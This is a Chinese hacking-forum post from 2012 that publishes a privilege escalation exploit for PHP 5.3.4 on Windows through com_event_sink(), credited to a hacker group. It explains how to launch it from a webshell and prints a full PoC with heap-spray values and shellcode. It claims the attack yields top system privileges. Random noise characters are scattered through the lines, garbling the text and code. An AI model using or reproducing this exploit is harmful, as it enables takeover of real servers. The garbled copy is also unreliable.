找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2149|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
' @; U8 @, T+ j! {5 d" U* a9 Z. S9 r: P2 W' Y5 C8 a- {* Y/ L
测试方法如下:cmd /c x:\php\php.exe x:\test.php
9 P* D- S% q6 ^, s& G) n" H) L" D* n/ @0 G2 t
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php3 a3 y7 ?3 Z1 A- c( s( b2 E1 R: t
这里是两个测试的截图:
3 g; @; V0 C& M. n( F( }& Y+ {$ [' M: u/ I' H# I& J$ O

& ?' x$ t1 H9 R6 h" X4 @0 Y) X' b
! ?) `3 f: _8 c+ E$ L; }( a8 p
! d4 d4 O; F6 `0 n# A( u. X+ e
& a, v: {, }+ K' u, Y4 V8 E成功利用此漏洞的攻击者将获得系统的最高权限+ F% \" a3 W9 |; a: k" z0 Q+ L$ H
# v; P; X1 D2 f4 [5 {  z% X- q8 V

5 Q& e# [! x& R, M' k
, Q1 l6 |+ _" t9 Q0 Q  N$ W: _7 C2 S9 a) K

8 |$ p9 X( p2 P8 F关于漏洞分析稍后附上。一下是PoC代码:2 j! B+ I$ X2 V  I: Y/ l

5 X' J2 h5 Y+ K# \<?php
% h% d% O" p8 o//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞" w& o3 G' T( L- X3 I/ ?
//$eip ="\x44\x43\x42\x41";
: B5 L- Y0 f0 |. }" @$eip= "\x4b\xe8\x57\x78";* A/ o! G5 z0 @, M! g
$eax ="\x80\x01\x8d\x04";8 n/ t/ L% `9 f9 M9 X. C
$deodrant="";
! K0 u1 C3 b8 r' `5 A% d0 }! y$axespray = str_repeat($eip.$eax,0x80);
  p1 f; i" T/ p" `4 y2 w//048d0190$ B) i3 ^7 O; n0 Y% _) ?
echo strlen($axespray);
% W* p; H3 u6 M$ oecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";$ g0 Z% T& c6 w, x5 d
echo "Silic Group Hacker Army - BlackBap.Org";
7 B: l* B/ ?$ q( p, ~//19200 ==4B32 4b007 e6 Y$ X" B4 d7 N
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}1 ?, R' Y: E0 U
$terminate = "T";/ G) l) H( f+ |% e! e& _  g$ @
$u[] =$deodrant;" G. ^9 s/ |5 w% s* n) k
$r[] =$deodrant.$terminate;
6 {- I; q+ \" r7 h/ F$a[] =$deodrant.$terminate;
( H+ u9 Z% Q# K2 E$s[] =$deodrant.$terminate;
# C3 l! ~# H/ w# m& T% H) C( ^( S  a//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的4 J5 X) H& i6 _
$vVar = new VARIANT(0x048d0000+180);
" T; P- T  ?! \3 S, b9 j//弹窗代码(Shellcode)
( o8 E& A( U) T$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
. F: ~8 q  i! r3 [) M& I/ L$var2 = new VARIANT(0x41414242);
- y0 u9 M9 K& j  _1 s" O: Jcom_event_sink($vVar,$var2,$buffer);
! {# `: T. c! _! H' f0 X?>: \% V& p, [& E

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表